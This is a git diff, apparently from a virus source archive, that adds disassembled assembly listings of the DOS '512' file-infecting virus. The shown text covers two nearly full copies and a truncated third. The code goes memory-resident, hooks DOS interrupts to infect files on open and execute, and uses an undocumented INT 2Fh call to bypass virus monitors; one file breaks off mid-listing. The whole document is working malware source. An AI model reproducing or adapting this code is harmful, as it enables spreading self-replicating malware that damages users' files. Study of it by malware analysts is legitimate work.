2Fh ;3-Prt_Splr_Ctrl ;00113 CD2F _/ + PUSH DS ;00115 1E _ + PUSH DX ;00116 52 R + INT 2Fh ;3-Prt_Splr_Ctrl ;00117 CD2F _/ + POP AX ;00119 58 X + POP DS ;0011A 1F _ +H0011B: MOV DI,00F8h ;0011B BFF800 ___ + STOSW ;0011E AB _ + MOV AX,DS ;0011F 8CD8 __ + STOSW ;00121 AB _ + MOV DS,SI ;DS_Chg ;00122 8EDE __ + LDS AX,[SI+40h] ;00124 C54440 _D@ + STOSW ;00127 AB _ + CMP AX,0121h ;00128 3D2101 =!_ + MOV AX,DS ;0012B 8CD8 __ + STOSW ;0012D AB _ + PUSH ES ;0012E 06 _ + PUSH DI ;0012F 57 W + JNZ H00139 ;00130 7507 u_ + SHL SI,1 ;00132 D1E6 __ + MOV CX,0100h ;00134 B90001 ___ + REPZ CMPSW ;00137 F3A7 __ +H00139: PUSH CS ;00139 0E _ + POP DS ;0013A 1F _ + JZ H00187 ;0013B 744A tJ + MOV AH,52h ;0013D B452 _R + INT 21h ;2-Rsvd_INT:21h-52h ;0013F CD21 _! + PUSH ES ;00141 06 _ + MOV SI,00F8h ;00142 BEF800 ___ + SUB DI,DI ;00145 2BFF +_ + LES AX,ES:[BX+12h] ;ES_Ovrd ;00147 26C44712 &_G_ + MOV DX,ES:[DI+02h] ;ES_Ovrd ;0014B 268B5502 &_U_ + MOV CX,0104h ;0014F B90401 ___ + REPZ MOVSW ;00152 F3A5 __ + MOV DS,CX ;DS_Chg ;00154 8ED9 __ + MOV DI,0016h ;00156 BF1600 ___ + MOV Word Ptr [DI+6Eh],0121h ;00159 C7456E2101 _En!_ + MOV [DI+70h],ES ;0015E 8C4570 _Ep + POP DS ;00161 1F _ + MOV [BX+14h],DX ;00162 895714 _W_ + MOV DX,CS ;00165 8CCA __ + MOV DS,DX ;DS_Chg ;00167 8EDA __ + MOV BX,[DI-14h] ;00169 8B5DEC _]_ + DEC BH ;0016C FECF __ + MOV ES,BX ;ES_Chg ;0016E 8EC3 __ + CMP DX,[DI] ;00170 3B15 ;_ + MOV DS,[DI] ;DS_Chg ;00172 8E1D __ + MOV DX,[DI] ;00174 8B15 __ + DEC DX ;00176 4A J + MOV DS,DX ;DS_Chg ;00177 8EDA __ + MOV SI,CX ;00179 8BF1 __ + MOV DX,DI ;0017B 8BD7 __ + MOV CL,28h ;0017D B128 _( + REPZ MOVSW ;0017F F3A5 __ + MOV DS,BX ;DS_Chg ;00181 8EDB __ + JB H00197 ;00183 7212 r_ + INT 20h ;B-TERM_norm:20h ;00185 CD20 _ +;--------------------------------------------------- +H00187: MOV SI,CX ;00187 8BF1 __ + MOV DS,[SI+2Ch] ;DS_Chg ;00189 8E5C2C _\, + LODSW ;0018C AD _ + DEC SI ;0018D 4E N + TEST AX,AX ;0018E 85C0 __ + JNZ H0018C ;00190 75FA u_ + ADD SI,+03h ;00192 83C603 ___ + MOV DX,SI ;00195 8BD6 __ +H00197: MOV AH,3Dh ;00197 B43D _= + CALL H001B0 ; . . . . . . . . . ;00199 E81400 ___ + MOV DX,[DI] ;0019C 8B15 __ + MOV [DI+04h],DX ;0019E 895504 _U_ + ADD [DI],CX ;001A1 010D __ + POP DX ;001A3 5A Z + PUSH DX ;001A4 52 R + PUSH CS ;001A5 0E _ + POP ES ;001A6 07 _ + PUSH CS ;001A7 0E _ + POP DS ;001A8 1F _ + PUSH DS ;001A9 1E _ + MOV AL,50h ;001AA B050 _P + PUSH AX ;001AC 50 P + MOV AH,3Fh ;001AD B43F _? + RET ;RET_Far ;001AF CB _ +;--------------------------------------------------- +H001B0: INT 21h ;Indef_INT:21h-AH ;001B0 CD21 _! + JB H001CD ;001B2 7219 r_ + MOV BX,AX ;001B4 8BD8 __ + PUSH BX ;001B6 53 S + MOV AX,1220h ;001B7 B82012 _ _ + INT 2Fh ;3-Prt_Splr_Ctrl ;001BA CD2F _/ + MOV BL,ES:[DI] ;ES_Ovrd ;001BC 268A1D &__ + MOV AX,1216h ;001BF B81612 ___ + INT 2Fh ;3-Prt_Splr_Ctrl ;001C2 CD2F _/ + POP BX ;001C4 5B [ + PUSH ES ;001C5 06 _ + POP DS ;001C6 1F _ + ADD DI,+11h ;001C7 83C711 ___ + MOV CX,0200h ;001CA B90002 ___ +H001CD: RET ;RET_Near ;001CD C3 _ +;--------------------------------------------------- + STI ;001CE FB _ + PUSH ES ;001CF 06 _ + PUSH SI ;001D0 56 V + PUSH DI ;001D1 57 W + PUSH BP ;001D2 55 U + PUSH DS ;001D3 1E _ + PUSH CX ;001D4 51 Q + CALL H001B6 ; . . . . . . . . . ;001D5 E8DEFF ___ + MOV BP,CX ;001D8 8BE9 __ + MOV SI,[DI+04h] ;001DA 8B7504 _u_ + POP CX ;001DD 59 Y + POP DS ;001DE 1F _ + CALL H00211 ; . . . . . . . . . ;001DF E82F00 _/_ + JB H0020A ;001E2 7226 r& + CMP SI,BP ;001E4 3BF5 ;_ + JNB H0020A ;001E6 7322 s" + PUSH AX ;001E8 50 P + MOV AL,ES:[DI-04h] ;ES_Ovrd ;001E9 268A45FC &_E_ + NOT AL ;001ED F6D0 __ + AND AL,1Fh ;001EF 241F $_ + JNZ H00209 ;001F1 7516 u_ + ADD SI,ES:[DI] ;ES_Ovrd ;001F3 260335 &_5 + XCHG SI,ES:[DI+04h] ;ES_Ovrd ;001F6 26877504 &_u_ + ADD ES:[DI],BP ;ES_Ovrd ;001FA 26012D &_- + CALL H00211 ; . . . . . . . . . ;001FD E81100 ___ + MOV ES:[DI+04h],SI ;ES_Ovrd ;00200 26897504 &_u_ + LAHF ;00204 9F _ + SUB ES:[DI],BP ;ES_Ovrd ;00205 26292D &)- + SAHF ;00208 9E _ +H00209: POP AX ;00209 58 X +H0020A: POP BP ;0020A 5D ] + POP DI ;0020B 5F _ + POP SI ;0020C 5E ^ + POP ES ;0020D 07 _ + RET 0002h ;RET_Far:0002h ;0020E CA0200 ___ +;--------------------------------------------------- +H00211: MOV AH,3Fh ;00211 B43F _? + PUSHF ;00213 9C _ + PUSH CS ;00214 0E _ + CALL H0023A ; . . . . . . . . . ;00215 E82200 _"_ + RET ;RET_Near ;00218 C3 _ +;--------------------------------------------------- + CMP AH,3Fh ;00219 80FC3F __? + JZ H001CE ;0021C 74B0 t_ + PUSH DS ;0021E 1E _ + PUSH ES ;0021F 06 _ + PUSH AX ;00220 50 P + PUSH BX ;00221 53 S + PUSH CX ;00222 51 Q + PUSH DX ;00223 52 R + PUSH SI ;00224 56 V + PUSH DI ;00225 57 W + CMP AH,3Eh ;00226 80FC3E __> + JZ H0023F ;00229 7414 t_ + CMP AX,4B00h ;0022B 3D004B =_K + MOV AH,3Dh ;0022E B43D _= + JZ H00241 ;00230 740F t_ + POP DI ;00232 5F _ + POP SI ;00233 5E ^ + POP DX ;00234 5A Z + POP CX ;00235 59 Y + POP BX ;00236 5B [ + POP AX ;00237 58 X + POP ES ;00238 07 _ + POP DS ;00239 1F _ +H0023A: JMP Word Ptr CS:[0004h] + ;Mem_Brch:CS:[0004h];0023A 2EFF2E0400 ._.__ +;--------------------------------------------------- +H0023F: MOV AH,45h ;0023F B445 _E +H00241: CALL H001B0 ; . . . . . . . . . ;00241 E86CFF _l_ + JB H00232 ;00244 72EC r_ + SUB AX,AX ;00246 2BC0 +_ + MOV [DI+04h],AX ;00248 894504 _E_ + MOV Byte Ptr [DI-0Fh],02h ;0024B C645F102 _E__ + CLD ;0024F FC _ + MOV DS,AX ;DS_Chg ;00250 8ED8 __ + MOV SI,004Ch ;00252 BE4C00 _L_ + LODSW ;00255 AD _ + PUSH AX ;00256 50 P + LODSW ;00257 AD _ + PUSH AX ;00258 50 P + PUSH [SI+40h] ;00259 FF7440 _t@ + PUSH [SI+42h] ;0025C FF7442 _tB + LDS DX,CS:[SI-50h] ;CS_Ovrd ;0025F 2EC554B0 ._T_ + MOV AX,2513h ;00263 B81325 __% + INT 21h ;1-Set_Int_Vctr ;00266 CD21 _! + PUSH CS ;00268 0E _ + POP DS ;00269 1F _ + MOV DX,0204h ;0026A BA0402 ___ + MOV AL,24h ;0026D B024 _$ + INT 21h ;Indef_INT:21h-25h ;0026F CD21 _! + PUSH ES ;00271 06 _ + POP DS ;00272 1F _ + MOV AL,[DI-04h] ;00273 8A45FC _E_ + AND AL,1Fh ;00276 241F $_ + CMP AL,1Fh ;00278 3C1F <_ + JZ H00284 ;0027A 7408 t_ + MOV AX,[DI+17h] ;0027C 8B4517 _E_ + SUB AX,4F43h ;0027F 2D434F -CO + JNZ H002C3 ;00282 753F u? +H00284: XOR [DI-04h],AL ;00284 3045FC 0E_ + MOV AX,[DI] ;00287 8B05 __ + CMP AX,CX ;00289 3BC1 ;_ +;--------------------------------------------------- + DB "r6" ;0028B 7236 +;--------------------------------------------------- + ADD AX,CX ;0028D 03C1 __ + JB H002C3 ;0028F 7232 r2 + TEST Byte Ptr [DI-0Dh],04h ;00291 F645F304 _E__ + JNZ H002C3 ;00295 752C u, + LDS SI,[DI-0Ah] ;00297 C575F6 _u_ + DEC AX ;0029A 48 H + SHR AH,1 ;0029B D0EC __ + AND AH,[SI+04h] ;0029D 226404 "d_ + JZ H002C3 ;002A0 7421 t! + MOV AX,0020h ;002A2 B82000 _ _ + MOV DS,AX ;DS_Chg ;002A5 8ED8 __ + SUB DX,DX ;002A7 2BD2 +_ + CALL H00211 ; . . . . . . . . . ;002A9 E865FF _e_ + MOV SI,DX ;002AC 8BF2 __ + PUSH CX ;002AE 51 Q + LODSB ;002AF AC _ + CMP AL,CS:[SI+07h] ;CS_Ovrd ;002B0 2E3A4407 .:D_ + JNZ H002DD ;002B4 7527 u' + LOOP H002AF ;002B6 E2F7 __ + POP CX ;002B8 59 Y + OR Byte Ptr ES:[DI-04h],1Fh + ;ES_Ovrd ;002B9 26804DFC1F &_M__ + OR Byte Ptr ES:[DI-0Bh],40h + ;ES_Ovrd ;002BE 26804DF540 &_M_@ +H002C3: MOV AH,3Eh ;002C3 B43E _> + CALL H00213 ; . . . . . . . . . ;002C5 E84BFF _K_ + OR Byte Ptr ES:[DI-0Ch],40h + ;ES_Ovrd ;002C8 26804DF440 &_M_@ + POP DS ;002CD 1F _ + POP DX ;002CE 5A Z + MOV AX,2524h ;002CF B82425 _$% + INT 21h ;1-Set_Int_Vctr ;002D2 CD21 _! + POP DS ;002D4 1F _ + POP DX ;002D5 5A Z + MOV AL,13h ;002D6 B013 __ + INT 21h ;Indef_INT:21h-25h ;002D8 CD21 _! + JMP H00232 ;002DA E955FF _U_ +;--------------------------------------------------- +H002DD: POP CX ;002DD 59 Y + MOV SI,ES:[DI] ;ES_Ovrd ;002DE 268B35 &_5 + MOV ES:[DI+04h],SI ;ES_Ovrd ;002E1 26897504 &_u_ + MOV AH,40h ;002E5 B440 _@ + INT 21h ;2-Wr_Fl_Hdl ;002E7 CD21 _! + JB H002BE ;002E9 72D3 r_ + MOV ES:[DI],SI ;ES_Ovrd ;002EB 268935 &_5 + MOV ES:[DI+04h],DX ;ES_Ovrd ;002EE 26895504 &_U_ + PUSH CS ;002F2 0E _ + POP DS ;002F3 1F _ + MOV DL,08h ;002F4 B208 __ + MOV AH,40h ;002F6 B440 _@ + INT 21h ;2-Wr_Fl_Hdl ;002F8 CD21 _! + JMP Short H002B9 ;002FA EBBD __ +;--------------------------------------------------- + IRET ;002FC CF _ +;--------------------------------------------------- + DB "666" ;002FD 363636 +;--------------------------------------------------- + + +P00100 ENDP + +CODE ENDS + END H00100 + +;------------------------------------------------------------------------------- + +INT 2F - Multiplex - DOS 3.3+ - SET DISK INTERRUPT HANDLER + AH = 13h + DS:DX -> interrupt handler disk driver calls on read/write + ES:BX = address to restore INT 13 to on system halt (exit from root + shell) +Return: DS:DX from previous invocation of this function + ES:BX from previous invocation of this function +Notes: most DOS 3.3+ disk access is via the vector in DS:DX, although a few + functions are still invoked via an INT 13 instruction + this is a dangerous security loophole for any virus-monitoring software + which does not trap this call (at least two viruses are known to use + it to get the original ROM entry point) diff --git a/0-9/512-x.asm b/0-9/512-x.asm new file mode 100755 index 0000000..fbb9535 --- /dev/null +++ b/0-9/512-x.asm @@ -0,0 +1,304 @@ +;NAME: 512-X.C-M +;FILE SIZE: 00200h - 512d +;START (CS:IP): 00100h +;CODE END: 00300h +;CODE ORIGIN: 00100h +;DATE: Wed Aug 05 13:56:29 1992 + +CODE SEGMENT BYTE PUBLIC 'CODE' +ASSUME CS:CODE,DS:CODE,ES:NOTHING,SS:NOTHING + +P00100 PROC + ORG 0100h + +H00100: MOV AH,30h ;00100 B430 _0 + INT 21h ;2-DOS_Ver ;00102 CD21 _! + MOV SI,0004h ;00104 BE0400 ___ + MOV DS,SI ;DS_Chg ;00107 8EDE __ + CMP AH,1Eh ;00109 80FC1E ___ + LDS AX,[SI+08h] ;0010C C54408 _D_ + JB H0011B ;0010F 720A r_ + MOV AH,13h ;00111 B413 __ + INT 2Fh ;3-Prt_Splr_Ctrl ;00113 CD2F _/ + PUSH DS ;00115 1E _ + PUSH DX ;00116 52 R + INT 2Fh ;3-Prt_Splr_Ctrl ;00117 CD2F _/ + POP AX ;00119 58 X + POP DS ;0011A 1F _ +H0011B: MOV DI,00F8h ;0011B BFF800 ___ + STOSW ;0011E AB _ + MOV AX,DS ;0011F 8CD8 __ + STOSW ;00121 AB _ + MOV DS,SI ;DS_Chg ;00122 8EDE __ + LDS AX,[SI+40h] ;00124 C54440 _D@ + STOSW ;00127 AB _ + CMP AX,0121h ;00128 3D2101 =!_ + MOV AX,DS ;0012B 8CD8 __ + STOSW ;0012D AB _ + PUSH ES ;0012E 06 _ + PUSH DI ;0012F 57 W + JNZ H00139 ;00130 7507 u_ + SHL SI,1 ;00132 D1E6 __ + MOV CX,0100h ;00134 B90001 ___ + REPZ CMPSW ;00137 F3A7 __ +H00139: PUSH CS ;00139 0E _ + POP DS ;0013A 1F _ + JZ H00187 ;0013B 744A tJ + MOV AH,52h ;0013D B452 _R + INT 21h ;2-Rsvd_INT:21h-52h ;0013F CD21 _! + PUSH ES ;00141 06 _ + MOV SI,00F8h ;00142 BEF800 ___ + SUB DI,DI ;00145 2BFF +_ + LES AX,ES:[BX+12h] ;ES_Ovrd ;00147 26C44712 &_G_ + MOV DX,ES:[DI+02h] ;ES_Ovrd ;0014B 268B5502 &_U_ + MOV CX,0104h ;0014F B90401 ___ + REPZ MOVSW ;00152 F3A5 __ + MOV DS,CX ;DS_Chg ;00154 8ED9 __ + MOV DI,0016h ;00156 BF1600 ___ + MOV Word Ptr [DI+6Eh],0121h ;00159 C7456E2101 _En!_ + MOV [DI+70h],ES ;0015E 8C4570 _Ep + POP DS ;00161 1F _ + MOV [BX+14h],DX ;00162 895714 _W_ + MOV DX,CS ;00165 8CCA __ + MOV DS,DX ;DS_Chg ;00167 8EDA __ + MOV BX,[DI-14h] ;00169 8B5DEC _]_ + DEC BH ;0016C FECF __ + MOV ES,BX ;ES_Chg ;0016E 8EC3 __ + CMP DX,[DI] ;00170 3B15 ;_ + MOV DS,[DI] ;DS_Chg ;00172 8E1D __ + MOV DX,[DI] ;00174 8B15 __ + DEC DX ;00176 4A J + MOV DS,DX ;DS_Chg ;00177 8EDA __ + MOV SI,CX ;00179 8BF1 __ + MOV DX,DI ;0017B 8BD7 __ + MOV CL,28h ;0017D B128 _( + REPZ MOVSW ;0017F F3A5 __ + MOV DS,BX ;DS_Chg ;00181 8EDB __ + JB H00197 ;00183 7212 r_ + INT 20h ;B-TERM_norm:20h ;00185 CD20 _ +;--------------------------------------------------- +H00187: MOV SI,CX ;00187 8BF1 __ + MOV DS,[SI+2Ch] ;DS_Chg ;00189 8E5C2C _\, + LODSW ;0018C AD _ + DEC SI ;0018D 4E N + TEST AX,AX ;0018E 85C0 __ + JNZ H0018C ;00190 75FA u_ + ADD SI,+03h ;00192 83C603 ___ + MOV DX,SI ;00195 8BD6 __ +H00197: MOV AH,3Dh ;00197 B43D _= + CALL H001B0 ; . . . . . . . . . ;00199 E81400 ___ + MOV DX,[DI] ;0019C 8B15 __ + MOV [DI+04h],DX ;0019E 895504 _U_ + ADD [DI],CX ;001A1 010D __ + POP DX ;001A3 5A Z + PUSH DX ;001A4 52 R + PUSH CS ;001A5 0E _ + POP ES ;001A6 07 _ + PUSH CS ;001A7 0E _ + POP DS ;001A8 1F _ + PUSH DS ;001A9 1E _ + MOV AL,50h ;001AA B050 _P + PUSH AX ;001AC 50 P + MOV AH,3Fh ;001AD B43F _? + RET ;RET_Far ;001AF CB _ +;--------------------------------------------------- +H001B0: INT 21h ;Indef_INT:21h-AH ;001B0 CD21 _! + JB H001CD ;001B2 7219 r_ + MOV BX,AX ;001B4 8BD8 __ + PUSH BX ;001B6 53 S + MOV AX,1220h ;001B7 B82012 _ _ + INT 2Fh ;3-Prt_Splr_Ctrl ;001BA CD2F _/ + MOV BL,ES:[DI] ;ES_Ovrd ;001BC 268A1D &__ + MOV AX,1216h ;001BF B81612 ___ + INT 2Fh ;3-Prt_Splr_Ctrl ;001C2 CD2F _/ + POP BX ;001C4 5B [ + PUSH ES ;001C5 06 _ + POP DS ;001C6 1F _ + ADD DI,+11h ;001C7 83C711 ___ + MOV CX,0200h ;001CA B90002 ___ +H001CD: RET ;RET_Near ;001CD C3 _ +;--------------------------------------------------- + STI ;001CE FB _ + PUSH ES ;001CF 06 _ + PUSH SI ;001D0 56 V + PUSH DI ;001D1 57 W + PUSH BP ;001D2 55 U + PUSH DS ;001D3 1E _ + PUSH CX ;001D4 51 Q + CALL H001B6 ; . . . . . . . . . ;001D5 E8DEFF ___ + MOV BP,CX ;001D8 8BE9 __ + MOV SI,[DI+04h] ;001DA 8B7504 _u_ + POP CX ;001DD 59 Y + POP DS ;001DE 1F _ + CALL H00211 ; . . . . . . . . . ;001DF E82F00 _/_ + JB H0020A ;001E2 7226 r& + CMP SI,BP ;001E4 3BF5 ;_ + JNB H0020A ;001E6 7322 s" + PUSH AX ;001E8 50 P + MOV AL,ES:[DI-04h] ;ES_Ovrd ;001E9 268A45FC &_E_ + NOT AL ;001ED F6D0 __ + AND AL,1Fh ;001EF 241F $_ + JNZ H00209 ;001F1 7516 u_ + ADD SI,ES:[DI] ;ES_Ovrd ;001F3 260335 &_5 + XCHG SI,ES:[DI+04h] ;ES_Ovrd ;001F6 26877504 &_u_ + ADD ES:[DI],BP ;ES_Ovrd ;001FA 26012D &_- + CALL H00211 ; . . . . . . . . . ;001FD E81100 ___ + MOV ES:[DI+04h],SI ;ES_Ovrd ;00200 26897504 &_u_ + LAHF ;00204 9F _ + SUB ES:[DI],BP ;ES_Ovrd ;00205 26292D &)- + SAHF ;00208 9E _ +H00209: POP AX ;00209 58 X +H0020A: POP BP ;0020A 5D ] + POP DI ;0020B 5F _ + POP SI ;0020C 5E ^ + POP ES ;0020D 07 _ + RET 0002h ;RET_Far:0002h ;0020E CA0200 ___ +;--------------------------------------------------- +H00211: MOV AH,3Fh ;00211 B43F _? + PUSHF ;00213 9C _ + PUSH CS ;00214 0E _ + CALL H0023A ; . . . . . . . . . ;00215 E82200 _"_ + RET ;RET_Near ;00218 C3 _ +;--------------------------------------------------- + CMP AH,3Fh ;00219 80FC3F __? + JZ H001CE ;0021C 74B0 t_ + PUSH DS ;0021E 1E _ + PUSH ES ;0021F 06 _ + PUSH AX ;00220 50 P + PUSH BX ;00221 53 S + PUSH CX ;00222 51 Q + PUSH DX ;00223 52 R + PUSH SI ;00224 56 V + PUSH DI ;00225 57 W + CMP AH,3Eh ;00226 80FC3E __> + JZ H0023F ;00229 7414 t_ + CMP AX,4B00h ;0022B 3D004B =_K + MOV AH,3Dh ;0022E B43D _= + JZ H00241 ;00230 740F t_ + POP DI ;00232 5F _ + POP SI ;00233 5E ^ + POP DX ;00234 5A Z + POP CX ;00235 59 Y + POP BX ;00236 5B [ + POP AX ;00237 58 X + POP ES ;00238 07 _ + POP DS ;00239 1F _ +H0023A: JMP Word Ptr CS:[0004h] + ;Mem_Brch:CS:[0004h];0023A 2EFF2E0400 ._.__ +;--------------------------------------------------- +H0023F: MOV AH,45h ;0023F B445 _E +H00241: CALL H001B0 ; . . . . . . . . . ;00241 E86CFF _l_ + JB H00232 ;00244 72EC r_ + SUB AX,AX ;00246 2BC0 +_ + MOV [DI+04h],AX ;00248 894504 _E_ + MOV Byte Ptr [DI-0Fh],02h ;0024B C645F102 _E__ + CLD ;0024F FC _ + MOV DS,AX ;DS_Chg ;00250 8ED8 __ + MOV SI,004Ch ;00252 BE4C00 _L_ + LODSW ;00255 AD _ + PUSH AX ;00256 50 P + LODSW ;00257 AD _ + PUSH AX ;00258 50 P + PUSH [SI+40h] ;00259 FF7440 _t@ + PUSH [SI+42h] ;0025C FF7442 _tB + LDS DX,CS:[SI-50h] ;CS_Ovrd ;0025F 2EC554B0 ._T_ + MOV AX,2513h ;00263 B81325 __% + INT 21h ;1-Set_Int_Vctr ;00266 CD21 _! + PUSH CS ;00268 0E _ + POP DS ;00269 1F _ + MOV DX,0204h ;0026A BA0402 ___ + MOV AL,24h ;0026D B024 _$ + INT 21h ;Indef_INT:21h-25h ;0026F CD21 _! + PUSH ES ;00271 06 _ + POP DS ;00272 1F _ + MOV AL,[DI-04h] ;00273 8A45FC _E_ + AND AL,1Fh ;00276 241F $_ + CMP AL,1Fh ;00278 3C1F <_ + JZ H00284 ;0027A 7408 t_ + MOV AX,[DI+17h] ;0027C 8B4517 _E_ + SUB AX,4F43h ;0027F 2D434F -CO + JNZ H002C3 ;00282 753F u? +H00284: XOR [DI-04h],AL ;00284 3045FC 0E_ + MOV AX,[DI] ;00287 8B05 __ + CMP AX,CX ;00289 3BC1 ;_ +;--------------------------------------------------- + DB "r6" ;0028B 7236 +;--------------------------------------------------- + ADD AX,CX ;0028D 03C1 __ + JB H002C3 ;0028F 7232 r2 + TEST Byte Ptr [DI-0Dh],04h ;00291 F645F304 _E__ + JNZ H002C3 ;00295 752C u, + LDS SI,[DI-0Ah] ;00297 C575F6 _u_ + DEC AX ;0029A 48 H + SHR AH,1 ;0029B D0EC __ + AND AH,[SI+04h] ;0029D 226404 "d_ + JZ H002C3 ;002A0 7421 t! + MOV AX,0020h ;002A2 B82000 _ _ + MOV DS,AX ;DS_Chg ;002A5 8ED8 __ + SUB DX,DX ;002A7 2BD2 +_ + CALL H00211 ; . . . . . . . . . ;002A9 E865FF _e_ + MOV SI,DX ;002AC 8BF2 __ + PUSH CX ;002AE 51 Q + LODSB ;002AF AC _ + CMP AL,CS:[SI+07h] ;CS_Ovrd ;002B0 2E3A4407 .:D_ + JNZ H002DD ;002B4 7527 u' + LOOP H002AF ;002B6 E2F7 __ + POP CX ;002B8 59 Y + OR Byte Ptr ES:[DI-04h],1Fh + ;ES_Ovrd ;002B9 26804DFC1F &_M__ + OR Byte Ptr ES:[DI-0Bh],40h + ;ES_Ovrd ;002BE 26804DF540 &_M_@ +H002C3: MOV AH,3Eh ;002C3 B43E _> + CALL H00213 ; . . . . . . . . . ;002C5 E84BFF _K_ + OR Byte Ptr ES:[DI-0Ch],40h + ;ES_Ovrd ;002C8 26804DF440 &_M_@ + POP DS ;002CD 1F _ + POP DX ;002CE 5A Z + MOV AX,2524h ;002CF B82425 _$% + INT 21h ;1-Set_Int_Vctr ;002D2 CD21 _! + POP DS ;002D4 1F _ + POP DX ;002D5 5A Z + MOV AL,13h ;002D6 B013 __ + INT 21h ;Indef_INT:21h-25h ;002D8 CD21 _! + JMP H00232 ;002DA E955FF _U_ +;--------------------------------------------------- +H002DD: POP CX ;002DD 59 Y + MOV SI,ES:[DI] ;ES_Ovrd ;002DE 268B35 &_5 + MOV ES:[DI+04h],SI ;ES_Ovrd ;002E1 26897504 &_u_ + MOV AH,40h ;002E5 B440 _@ + INT 21h ;2-Wr_Fl_Hdl ;002E7 CD21 _! + JB H002BE ;002E9 72D3 r_ + MOV ES:[DI],SI ;ES_Ovrd ;002EB 268935 &_5 + MOV ES:[DI+04h],DX ;ES_Ovrd ;002EE 26895504 &_U_ + PUSH CS ;002F2 0E _ + POP DS ;002F3 1F _ + MOV DL,08h ;002F4 B208 __ + MOV AH,40h ;002F6 B440 _@ + INT 21h ;2-Wr_Fl_Hdl ;002F8 CD21 _! + JMP Short H002B9 ;002FA EBBD __ +;--------------------------------------------------- + IRET ;002FC CF _ +;--------------------------------------------------- + DB "666" ;002FD 363636 +;--------------------------------------------------- + + +P00100 ENDP + +CODE ENDS + END H00100 + +;------------------------------------------------------------------------------- + +INT 2F - Multiplex - DOS 3.3+ - SET DISK INTERRUPT HANDLER + AH = 13h + DS:DX -> interrupt handler disk driver calls on read/write + ES:BX = address to restore INT 13 to on system halt (exit from root + shell) +Return: DS:DX from previous invocation of this function + ES:BX from previous invocation of this function +Notes: most DOS 3.3+ disk access is via the vector in DS:DX, although a few + functions are still invoked via an INT 13 instruction + this is a dangerous security loophole for any virus-monitoring software + which does not trap this call (at least two viruses are known to use + it to get the original ROM entry point) diff --git a/0-9/512.ASM b/0-9/512.ASM new file mode 100755 index 0000000..6cfc94a --- /dev/null +++ b/0-9/512.ASM @@ -0,0 +1,269 @@ +;PROGRAM NAME: 512.com +;------------------------------------------------- +H00100: MOV AH,30h + INT 21h ;DOS Version# + MOV SI,0004h + MOV DS,SI ;SEGMENT OPERATION + CMP Byte Ptr AH,1Eh + LDS AX,[SI+08h] + JB H0011B ; . . . . . . . . . + MOV AH,13h + INT 2Fh ;Print Spooler Ctrl + PUSH DS ;SEGMENT OPERATION + PUSH DX + INT 2Fh ;Print Spooler Ctrl + POP AX + POP DS ;SEGMENT OPERATION +H0011B: MOV DI,00F8h + STOSW + MOV AX,DS + STOSW + MOV DS,SI ;SEGMENT OPERATION + LDS AX,[SI+40h] + STOSW + CMP AX,0121h + MOV AX,DS + STOSW + PUSH ES ;SEGMENT OPERATION + PUSH DI + JNZ H00139 ; . . . . . . . . . + SHL Word Ptr SI,1 + MOV CX,0100h + REPZ + CMPSW +H00139: PUSH CS ;SEGMENT OPERATION + POP DS ;SEGMENT OPERATION + JZ H00187 ; . . . . . . . . . + MOV AH,52h + INT 21h ;INDEF FUNCTION + PUSH ES ;SEGMENT OPERATION + MOV SI,00F8h + SUB DI,DI + LES AX,ES:[BX+12h] + MOV DX,ES:[DI+02h] + MOV CX,0104h + REPZ + MOVSW + MOV DS,CX ;SEGMENT OPERATION + MOV DI,0016h + MOV Word Ptr [DI+6E],0121h + MOV [DI+70h],ES + POP DS ;SEGMENT OPERATION + MOV [BX+14h],DX + MOV DX,CS + MOV DS,DX ;SEGMENT OPERATION + MOV BX,[DI-14h] + DEC Byte Ptr BH + MOV ES,BX ;SEGMENT OPERATION + CMP DX,[DI] + MOV DS,[DI] ;SEGMENT OPERATION + MOV DX,[DI] + DEC DX + MOV DS,DX ;SEGMENT OPERATION + MOV SI,CX + MOV DX,DI + MOV CL,08h + REPZ + MOVSW + MOV DS,BX ;SEGMENT OPERATION + JB H00197 ; . . . . . . . . . + INT 20h ;TERMINATE normally +;------------------------------------------------- +H00187: MOV SI,CX + MOV DS,[SI+2Ch] ;SEGMENT OPERATION +H0018C: LODSW ; . . . . . . . . . + DEC SI + TEST AX,AX + JNZ H0018C ; . . . . . . . . . + ADD Word Ptr SI,+03h + MOV DX,SI +H00197: MOV AH,3Dh + CALL H001B0 ; . . . . . . . . . + MOV DX,[DI] + MOV [DI+04h],DX + ADD [DI],CX + POP DX + PUSH DX + PUSH CS ;SEGMENT OPERATION + POP ES ;SEGMENT OPERATION + PUSH CS ;SEGMENT OPERATION + POP DS ;SEGMENT OPERATION + PUSH DS ;SEGMENT OPERATION + MOV AL,50h + PUSH AX + MOV AH,3Fh + RETF +;------------------------------------------------- +H001B0: INT 21h ;INDEF FUNCTION + JB H001CD ; . . . . . . . . . + MOV BX,AX +H001B6: PUSH BX + MOV AX,1220h + INT 2Fh ;Print Spooler Ctrl + MOV BL,ES:[DI] + MOV AX,1216h + INT 2Fh ;Print Spooler Ctrl + POP BX + PUSH ES ;SEGMENT OPERATION + POP DS ;SEGMENT OPERATION + ADD Word Ptr DI,+11h + MOV CX,0200h +H001CD: RET +;------------------------------------------------- +H001CE: STI + PUSH ES ;SEGMENT OPERATION + PUSH SI + PUSH DI + PUSH BP + PUSH DS ;SEGMENT OPERATION + PUSH CX + CALL H001B6 ; . . . . . . . . . + MOV BP,CX + MOV SI,[DI+04h] + POP CX + POP DS ;SEGMENT OPERATION + CALL H00211 ; . . . . . . . . . + JB H0020A ; . . . . . . . . . + CMP SI,BP + JNB H0020A ; . . . . . . . . . + PUSH AX + MOV AL,ES:[DI-04h] + NOT Byte Ptr AL + AND AL,1Fh + JNZ H00209 ; . . . . . . . . . + ADD SI,ES:[DI] + XCHG SI,ES:[DI+04h] + ADD ES:[DI],BP ;SEGMENT OPERATION + CALL H00211 ; . . . . . . . . . + MOV ES:[DI+04h],SI ;SEGMENT OPERATION + LAHF + SUB ES:[DI],BP ;SEGMENT OPERATION + SAHF +H00209: POP AX +H0020A: POP BP + POP DI + POP SI + POP ES ;SEGMENT OPERATION + RETF 0002h +;------------------------------------------------- +H00211: MOV AH,3Fh +H00213: PUSHF + PUSH CS ;SEGMENT OPERATION + CALL H0023A ; . . . . . . . . . + RET +;------------------------------------------------- + CMP Byte Ptr AH,3Fh + JZ H001CE ; . . . . . . . . . + PUSH DS ;SEGMENT OPERATION + PUSH ES ;SEGMENT OPERATION + PUSH AX + PUSH BX + PUSH CX + PUSH DX + PUSH SI + PUSH DI + CMP Byte Ptr AH,3Eh + JZ H0023F ; . . . . . . . . . + CMP AX,4B00h + MOV AH,3Dh + JZ H00241 ; . . . . . . . . . +H00232: POP DI + POP SI + POP DX + POP CX + POP BX + POP AX + POP ES 